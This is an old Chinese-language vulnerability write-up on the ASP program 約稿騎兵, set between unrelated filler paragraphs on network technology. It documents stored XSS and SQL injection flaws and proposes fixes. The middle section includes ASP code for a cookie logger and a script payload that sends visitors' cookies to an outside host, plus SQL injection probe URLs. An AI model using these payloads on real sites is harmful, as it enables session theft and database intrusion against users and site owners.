|
導讀網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據... 網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。 約稿奇兵存在大量漏洞描述: 約稿騎兵是由勁風獨立開發與維護的一個集作者投稿、編輯審稿、稿費管理等諸多有創意的功能為一體的ASP程序。由于大量文件沒有對提交的表單進行字符過濾。導致非法用戶可提交精心構造的語句執行跨站腳本,致使瀏覽者中木馬、信息泄露、重則格式化硬盤。其二,由于view_pf.asp文件沒有過濾用戶提交傳遞給SQL查詢的輸入,導致遠程攻擊者可以利用這個漏洞進行SQL Injection攻擊,獲取任意用戶的密碼。ASP版的約稿騎兵勁風已經停止開發了,取而代之的是用ASP.NET開發的約稿通,預計將在2004年7月份發布,大家拭目以待吧,相信勁風能給我們帶來更大的驚喜。檢測過程: 一、跨站腳本攻擊 既然是瞎子摸象式的測試這個未公開的約稿騎兵,說明會有蠻多這樣那樣的漏洞。比如:腳本問題,最簡單的,用“'”和“;”以及“>”作為用戶名注冊,系統并沒有提示禁止提交非法字符,于是用“<script>alert();</script>”為用戶名注冊。可惜,單表域限制了字符數量,這樣就可以限制字符長度了?呵呵,但愿沒有禁止從外部提交數據。于是做一個注冊頁,將form action指向該站點注冊頁,果然注冊成功,提交的時侯發現,該站點有兩種會員可以注冊,一種是直接注冊的(作者),一種是注冊后要管理員驗證才可以使用的(編輯),剛才注冊的只是個作者,這次注冊編輯看看。仍然按剛才的方法,注冊了會員<script>alert('1');</script>提交到最后,系統給出了提示:您已經注冊成功。而空過兩行后又出現,您注冊的用戶名里含有'<等非法字符,請重新注冊。這里又是程序上的一個BUG,過濾沒有完全實現,先不管那么多,進入看看里面的東西如何。 進入后,先到會員列表查看會員,果然彈出對話框兩個,想要的效果實現了,這樣跨站攻擊就可以實現了。進入修改自己的資料中,里面各種資料要填寫的很多。于是......嘗試了一下真實地址欄里填寫“<script>alert();</script>”確認。再查看地址,又有對話框了,這就成了,不用想了,整個站點這個問題根本沒有解決好。 在前面我們已經說過,還有編輯注冊后是需要管理人員認證才可能通過驗證的。這就...嘿嘿...于是注冊用戶名test,呵呵,為什么不直接取?不能叫管理員懷疑嘛,叫他進去后再后悔.在注冊會員資料里好好的構造了一番。地址欄取COOKIES轉載打印到其他站點的某個文本文件(這里就不多說了):取COOKIES原碼如下: <% testfile=Server.MapPath("fqytest.txt") msg=Request("msg") set fs=server.CreateObject("scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.WriteLine(""&msg& "") thisfile.close set fs = nothing %> <script>window.location(http://www.e3i5.com');</script> 將以上代碼保存為ASP文件就可以了,然后填入以下代碼就可以開始收集Cookie啦。 <img src="javascript:window.open(http://youromain/cookie.php?'+document.cookie)"> 至于如何令瀏覽用戶被格式化。大家還是去看看相關的文章吧。還是利用javascript。由于危害太大。代碼不省略了…… 二、SQL Injection攻擊 除了上面所說的跨站腳本攻擊外。就是這個SQL Injection漏洞了。手工檢測。發現這個漏洞存在于xuanti_xiugai1.asp(選題查詢)、view_pf.asp(會員查詢)兩個文件,看來檢查了提交的字符中是否有單引號和分號。檢查的過程可能有些不同。但還是差不多的。盡管過濾了兩個那特殊字符。但系統是access數據庫的,僅過濾這兩個字符根本不能攔住攻擊者。因為這兩個文件沒有過濾空格,我們照樣玩SQL Injection。提交: xuanti_xiugai1.asp?xuan_id=56 and 1=1 //正常顯示 xuanti_xiugai1.asp?xuan_id=56 and 1=2 //警告:你正在企圖非法瀏覽別人的選題 view_pf.asp?id=74 and 1=1 //正常顯示 view_pf.asp?id=74 and 1=2 //資料全部顯示空 好了。知道該做什么了嗎?跨表查詢。這可是access數據庫最常用的SQL Injection攻擊方法了。關于詳細的攻擊方法,大家可以參考PsKey的《SQL Injection whit access》和我的《一個跨表查詢的例子》都很詳細。我們此次任務是檢測程序的安全性。目的已經達到了。 感謝風清揚的參與。 解決方案:關于這個約稿騎兵的防范方法也和許多程序一樣。都是很普遍的問題——過濾字符。 第一個問題就是跨站腳本攻擊,由于沒有進行腳本過濾。導致可以構造特殊html代碼進行攻擊,所以我們應該加上過濾的代碼來過濾:HTMLEncode(加你的引用函數名) 如: HTMLEncode(&username) 就可以簡單的屏蔽腳本攻擊了。另外,對于跨站和外部提交的問題,對提交文件如post.asp,reg.asp等等文件加一個檢驗就可以了。 代碼如下: if instr(request.servervariables("http_referer"),"e3i5")<1 then response.redirect "index.asp" end if 'e3i5 為你所用站點的域名私有部分.當然也可以使用地址連接里有的的字符串,都可以用. '或 if instr(request.servervariables("http_referer"),"http://"&request.servervariables("host") )<1 then response.redirect "index.asp" end if 另外,可以參考一下動網的char.asp文件。 第二個問題就是SQL Injection攻擊,有人認為SQL Injection攻擊千變萬化。難以防范。況且現在牛人這么多。其實再怎么靈活的技術,只要對用戶提交的變量進行了完整的過濾,都不可能有問題。至于防范方法嘛方法太多了。給出一段我一直用的代碼: dim id id=replace(request("id")," ","") if isnumeric(id)=0 or id="" then response.write "禁止提交非法語句!" response.end end if 放在文件前面就可以檢查提交的變量id了。方法實在太多,所以我就不說了。從理論上來說,對用戶提交的變量。只能是字母和數字。所以程序要盡可能多過濾一些非法字符。單引號、雙引號、分號、空格、<、>等。 這次檢測也結束了,程序不可能很完美,我的水平也有限。直覺上這個程序的BUG應該還有。如果能把剛才所發現的漏洞修補好。在瞎子摸象的情況下。已經是相當難更深入了。因為至始至終我們都沒有得看到程序源代碼和數據庫的結構。 網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!